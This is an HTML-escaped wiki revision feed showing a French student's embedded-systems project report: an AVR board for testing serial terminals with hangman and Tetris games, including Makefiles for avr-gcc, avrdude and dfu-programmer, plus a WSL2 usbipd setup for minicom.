	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Deuxième Makefile&amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = at90usb1287&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# ========= LUFA =========&lt;br /&gt;
LUFA_PATH = ./LUFA&lt;br /&gt;
&lt;br /&gt;
# Core USB (prend tous les .c du core + AVR8 pour éviter les soucis de noms)&lt;br /&gt;
LUFA_CORE_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/AVR8/*.c)&lt;br /&gt;
&lt;br /&gt;
# Classe CDC côté Device (et commun) — uniquement CDC&lt;br /&gt;
LUFA_CLASS_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Common/*CDC*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Device/*CDC*.c)&lt;br /&gt;
&lt;br /&gt;
# ========= Sources de ton projet =========&lt;br /&gt;
SRC = main.c hangman.c tetris.c timer.c serial.c Descriptors.c \&lt;br /&gt;
      $(LUFA_CORE_SRC) $(LUFA_CLASS_SRC)&lt;br /&gt;
OBJ = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -ffunction-sections -fdata-sections \&lt;br /&gt;
          -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I. \&lt;br /&gt;
          -DUSE_LUFA_CONFIG_HEADER -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I.&lt;br /&gt;
LDFLAGS = -Wl,--gc-sections&lt;br /&gt;
&lt;br /&gt;
# ========= Règles =========&lt;br /&gt;
.PHONY: all clean erase flash reset info&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).hex: $(TARGET).elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
# -------- DFU workflow --------&lt;br /&gt;
info:&lt;br /&gt;
	@echo &amp;quot;DFU: maintenir HWB, pulse RESET, relâcher RESET, relâcher HWB.&amp;quot;&lt;br /&gt;
	@echo &amp;quot;Ensuite: make erase &amp;amp;&amp;amp; make flash &amp;amp;&amp;amp; make reset&amp;quot;&lt;br /&gt;
&lt;br /&gt;
erase:&lt;br /&gt;
	dfu-programmer at90usb1287 erase&lt;br /&gt;
&lt;br /&gt;
flash: $(TARGET).hex&lt;br /&gt;
	dfu-programmer at90usb1287 flash $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
reset:&lt;br /&gt;
	dfu-programmer at90usb1287 reset&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetriss.mp4|vignette|Arduino UNO Minicom Pendu + Tetriss]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test avancé ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C (modifie si besoin)&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Deuxième Makefile &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = at90usb1287&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# ========= LUFA =========&lt;br /&gt;
LUFA_PATH = ./LUFA&lt;br /&gt;
&lt;br /&gt;
# Core USB (prend tous les .c du core + AVR8 pour éviter les soucis de noms)&lt;br /&gt;
LUFA_CORE_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/AVR8/*.c)&lt;br /&gt;
&lt;br /&gt;
# Classe CDC côté Device (et commun) — uniquement CDC&lt;br /&gt;
LUFA_CLASS_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Common/*CDC*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Device/*CDC*.c)&lt;br /&gt;
&lt;br /&gt;
# ========= Sources de ton projet =========&lt;br /&gt;
SRC = main.c hangman.c tetris.c timer.c serial.c Descriptors.c \&lt;br /&gt;
      $(LUFA_CORE_SRC) $(LUFA_CLASS_SRC)&lt;br /&gt;
OBJ = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -ffunction-sections -fdata-sections \&lt;br /&gt;
          -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I. \&lt;br /&gt;
          -DUSE_LUFA_CONFIG_HEADER -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I.&lt;br /&gt;
LDFLAGS = -Wl,--gc-sections&lt;br /&gt;
&lt;br /&gt;
# ========= Règles =========&lt;br /&gt;
.PHONY: all clean erase flash reset info&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).hex: $(TARGET).elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
# -------- DFU workflow --------&lt;br /&gt;
info:&lt;br /&gt;
	@echo &amp;quot;DFU: maintenir HWB, pulse RESET, relâcher RESET, relâcher HWB.&amp;quot;&lt;br /&gt;
	@echo &amp;quot;Ensuite: make erase &amp;amp;&amp;amp; make flash &amp;amp;&amp;amp; make reset&amp;quot;&lt;br /&gt;
&lt;br /&gt;
erase:&lt;br /&gt;
	dfu-programmer at90usb1287 erase&lt;br /&gt;
&lt;br /&gt;
flash: $(TARGET).hex&lt;br /&gt;
	dfu-programmer at90usb1287 flash $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
reset:&lt;br /&gt;
	dfu-programmer at90usb1287 reset&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Démonstration de fonctionnement sur terminaux anciens ==&lt;br /&gt;
&lt;br /&gt;
Vidéos de démonstration.&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10285</id>
		<title>SE4 2024/2025 EC2</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10285"/>
		<updated>2025-08-20T20:57:21Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Programme de test ASCII */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Vous allez concevoir, réaliser et programmer un système embarqué de test de terminaux série assez souvent utilisés pour l'administration système et réseau.&lt;br /&gt;
&lt;br /&gt;
Les terminaux visés sont des terminaux logiciels comme &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; tournant sur un système d'exploitation moderne mais aussi d'ancien terminaux comme un Ampex 210 ou un Televideo TVI-920C.&lt;br /&gt;
&lt;br /&gt;
Vous commencerez par concevoir votre carte dont le coeur doit être un microcontrôleur AVR et qui doit pouvoir se connecter en USB/série à un PC moderne mais aussi à d'anciens terminaux via des connecteurs DB9 et DB25 (voir les manuels des terminaux pour le brochage). L'utilisateur doit aussi pouvoir sélectionner le mode de test et le type de terminal. Une réflexion doit être menée sur l'alimentation de la carte. Vous avez le droit à un budget de 50 euros pour la carte, les composants et le port.&lt;br /&gt;
&lt;br /&gt;
Une fois la carte conçue et validée par l'encadrant vous pourrez vous pencher sur la programmation de la carte. Cette programmation se fera uniquement en utilisant la version AVR de &amp;lt;code&amp;gt;gcc&amp;lt;/code&amp;gt; et l'utilitaire &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;. Vous pouvez utiliser l'Arduino Uno fourni pour les premières versions de votre programme de test de terminaux. Comme terminal vous pouvez utiliser &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; dans un premier temps.&lt;br /&gt;
&lt;br /&gt;
Le logiciel de test doit proposer plusieurs tests, un test fonctionnant en ASCII pur, par exemple un jeu de pendu et un jeu plus complexe utilisant des séquences de déplacement du curseur sur l'écran, par exemple un jeu tétris. Pour les séquences permettant l'adressage du curseur, vous pouvez utilisez le protocole VT100 pour &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;. Pour les terminaux plus anciens, vérifiez quels protocoles avancés de gestion d'affichage sont disponibles. Le cas échéant, faites en sorte que votre test avancé puisse utiliser des protocoles différents sélectionnés par l'utilisateur via les contrôles sur votre carte.&lt;br /&gt;
&lt;br /&gt;
L'épreuve sera considérée comme un succès s'il est possible de jouer à tétris sur un des deux anciens terminaux.&lt;br /&gt;
&lt;br /&gt;
Il s'agit là d'un cahier des charges initial qui peut être revu en cas d'ambigüité. Vous avez jusqu'au 1 septembre pour réaliser le travail demandé. Il vous est explicitement demandé de produire un travail régulier le plus tôt possible *et* de faire des rapports réguliers (obligatoirement au travers de ce Wiki) à votre encadrant. S'y prendre à la dernière minute avec un seul retour à quelques jours de la date limite est une garantie d'échec.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Le matériel nécessaire est constitué :&lt;br /&gt;
* d'un PC pour la conception de la carte et la mise au point du programme embarqué (à votre charge) ;&lt;br /&gt;
* d'un Arduino UNO pour le test de la version initiale de votre programme embarqué (fourni par l'encadrant) ;&lt;br /&gt;
* de terminaux Ampex 210 et Televideo TVI-920C (à utiliser à l'école fin août).&lt;br /&gt;
&lt;br /&gt;
= Foire aux questions =&lt;br /&gt;
&lt;br /&gt;
* L'épreuve complémentaire est-elle réalisable au domicile de l'élève ?&lt;br /&gt;
&lt;br /&gt;
La conception de la carte est réalisable à domicile, la fabrication de la carte est prévue à l'extérieur (50 euros maximum, composants et port compris), il faut donc une adresse postale valide pour recevoir le PCB, la réalisation de la carte peut être externalisée (dans la limite des 50 euros) ou à domicile en utilisant un fer à souder personnel, le développement initial est réalisable sur l'Arduino fourni (et un PC personnel), les tests basiques et avancés sont réalisables à domicile (Arduino et PC personnel), le test sur les anciens terminaux est à prévoir fin août à l'école. Il n'est pas prévu d'accès aux ressources de l'école avant fin août.&lt;br /&gt;
&lt;br /&gt;
* Où est disponible l'Arduino UNO ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le courriel du 15 juillet, le matériel est disponible à l'accueil de l'école. A rendre au premier septembre 2025.&lt;br /&gt;
&lt;br /&gt;
* Comment programmer la carte ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le sujet, la carte doit pouvoir se programmer par DFU/USB. Il est conseillé d'utiliser un système d'exploitation Linux pour le développement du programme embarqué mais vous pouvez utiliser tout autre système du moment que vous assumez ce choix.&lt;br /&gt;
&lt;br /&gt;
* Comment sera testée la carte réalisée ?&lt;br /&gt;
&lt;br /&gt;
La carte sera testée par l'encadrant d'abord en utilisant l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; avec son émulation VT100 sous un Linux mais l'élève peut tester son code avec tout autre outil. Un second test sera conduit sur les anciens terminaux série de l'école.&lt;br /&gt;
&lt;br /&gt;
* Précisions sur les jeux &amp;quot;pendu&amp;quot; et &amp;quot;tétris&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les jeux évoqués doivent pouvoir être joué à partir de l'écran et des touches des terminaux. Les éventuelles touches sur la cartes ne servent qu'à sélectionner le test et le protocole de commandes du terminal (VT100 ou autre).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== COMPTE-RENDU DU 28/07/2025 ===&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;u&amp;gt;Préliminaires – Connexion d’un Arduino via USB à Minicom dans WSL2&amp;lt;/u&amp;gt; ====&lt;br /&gt;
Dans ce projet, il est nécessaire de communiquer avec un microcontrôleur (ici, un '''Arduino Uno''') connecté en '''USB''' à un PC sous '''Windows 11''', en utilisant un outil typiquement '''Linux''' : '''Minicom''', un terminal série.&lt;br /&gt;
&lt;br /&gt;
Or, Minicom ne fonctionne pas directement sur Windows, et nécessite un environnement Linux. Pour cette raison, nous avons mis en place un environnement '''WSL2''' (Windows Subsystem for Linux) avec '''Ubuntu''', capable d'accéder au port USB de l'Arduino.&lt;br /&gt;
&lt;br /&gt;
Cette section détaille toutes les étapes techniques pour configurer correctement cette chaîne de communication entre :&lt;br /&gt;
&lt;br /&gt;
* l’'''IDE Arduino''' sous Windows pour téléverser les programmes,&lt;br /&gt;
* l’environnement '''Ubuntu WSL2''' pour dialoguer via le terminal Minicom.&lt;br /&gt;
&lt;br /&gt;
===== &amp;lt;u&amp;gt;Environnement logiciel utilisé&amp;lt;/u&amp;gt; =====&lt;br /&gt;
&lt;br /&gt;
* '''Système d’exploitation''' : Windows 11&lt;br /&gt;
* '''Distribution Linux via WSL2''' : Ubuntu 20.04&lt;br /&gt;
* '''Périphérique série utilisé''' : Arduino Uno &lt;br /&gt;
* '''Outils utilisés''' :&lt;br /&gt;
** WSL2&lt;br /&gt;
** usbipd-win (redirection USB vers WSL)&lt;br /&gt;
** &amp;lt;code&amp;gt;Minicom&amp;lt;/code&amp;gt; (communication série Linux)&lt;br /&gt;
&lt;br /&gt;
==== Redirection USB du port Arduino vers WSL ====&lt;br /&gt;
Par défaut, un port USB comme '''COM9''' sur Windows '''n'est pas visible directement''' sous WSL. Pour le rendre accessible à Ubuntu, il faut utiliser '''usbipd-win'''.&lt;br /&gt;
&lt;br /&gt;
==== Installer usbipd ====&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;winget install usbipd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redémarrer le système W11 une fois l'installation terminée.&lt;br /&gt;
&lt;br /&gt;
=== Identifier le port USB de l’Arduino ===&lt;br /&gt;
Branche l’Arduino via USB.&lt;br /&gt;
&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd list&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela affiche tous les périphériques USB connectés. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;BUSID  VID:PID    DEVICE&lt;br /&gt;
1-1    2341:0043  Périphérique série USB (COM9)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici, le '''BUSID''' est &amp;lt;code&amp;gt;1-1&amp;lt;/code&amp;gt; et l’Arduino est détecté sur le '''port COM9'''.&lt;br /&gt;
&lt;br /&gt;
=== Partager puis attacher le port à WSL ===&lt;br /&gt;
Toujours dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vérifier dans Ubuntu que le port est bien présent&lt;br /&gt;
Dans Ubuntu (WSL) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls /dev/tty*&lt;br /&gt;
/dev/tty    /dev/tty21  /dev/tty35  /dev/tty49  /dev/tty62&lt;br /&gt;
/dev/tty0   /dev/tty22  /dev/tty36  /dev/tty5   /dev/tty63&lt;br /&gt;
/dev/tty1   /dev/tty23  /dev/tty37  /dev/tty50  /dev/tty7&lt;br /&gt;
/dev/tty10  /dev/tty24  /dev/tty38  /dev/tty51  /dev/tty8&lt;br /&gt;
/dev/tty11  /dev/tty25  /dev/tty39  /dev/tty52  /dev/tty9&lt;br /&gt;
/dev/tty12  /dev/tty26  /dev/tty4   /dev/tty53  /dev/ttyACM0&lt;br /&gt;
/dev/tty13  /dev/tty27  /dev/tty40  /dev/tty54  /dev/ttyS0&lt;br /&gt;
/dev/tty14  /dev/tty28  /dev/tty41  /dev/tty55  /dev/ttyS1&lt;br /&gt;
/dev/tty15  /dev/tty29  /dev/tty42  /dev/tty56  /dev/ttyS2&lt;br /&gt;
/dev/tty16  /dev/tty3   /dev/tty43  /dev/tty57  /dev/ttyS3&lt;br /&gt;
/dev/tty17  /dev/tty30  /dev/tty44  /dev/tty58  /dev/ttyS4&lt;br /&gt;
/dev/tty18  /dev/tty31  /dev/tty45  /dev/tty59  /dev/ttyS5&lt;br /&gt;
/dev/tty19  /dev/tty32  /dev/tty46  /dev/tty6   /dev/ttyS6&lt;br /&gt;
/dev/tty2   /dev/tty33  /dev/tty47  /dev/tty60  /dev/ttyS7&lt;br /&gt;
/dev/tty20  /dev/tty34  /dev/tty48  /dev/tty61&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Ce périphérique correspond à l’Arduino connecté en USB.&lt;br /&gt;
C’est ce port que Minicom utilisera pour la communication série.&lt;br /&gt;
&lt;br /&gt;
Exemple de sketch Arduino pour test de communication&lt;br /&gt;
Ce sketch permet de tester si la communication fonctionne bien.&lt;br /&gt;
Téléverser via l’IDE Arduino sous Windows avant d’attacher le périphérique à WSL :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
void setup() {&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void loop() {&lt;br /&gt;
  if (Serial.available()) {&lt;br /&gt;
    char c = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;Vous avez tapé : &amp;quot;);&lt;br /&gt;
    Serial.println(c);&lt;br /&gt;
  }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternance Windows ↔ WSL &lt;br /&gt;
&lt;br /&gt;
Pour téléverser un sketch depuis Windows :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd detach --busid 1-1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Le périphérique redevient accessible dans l’IDE Arduino sous Windows)&lt;br /&gt;
&lt;br /&gt;
Pour basculer la communication vers Ubuntu (Minicom) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Cette alternance peut être répétée autant que nécessaire.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
&lt;br /&gt;
== Projet KiCAD de la carte ==&lt;br /&gt;
Lien Gitea avec Code Arduino, Code C, Makefile, fichiers KiCAD : https://gitea.plil.fr/pcasimir/Test-Terminaux_Rattrapages-SE4-2025.git&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Terminal-Testing SCH KiCAD.pdf|alt=Terminal-Testing SCH KiCAD|vignette|Terminal-Testing SCH KiCAD]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test ASCII ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter si besoin) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
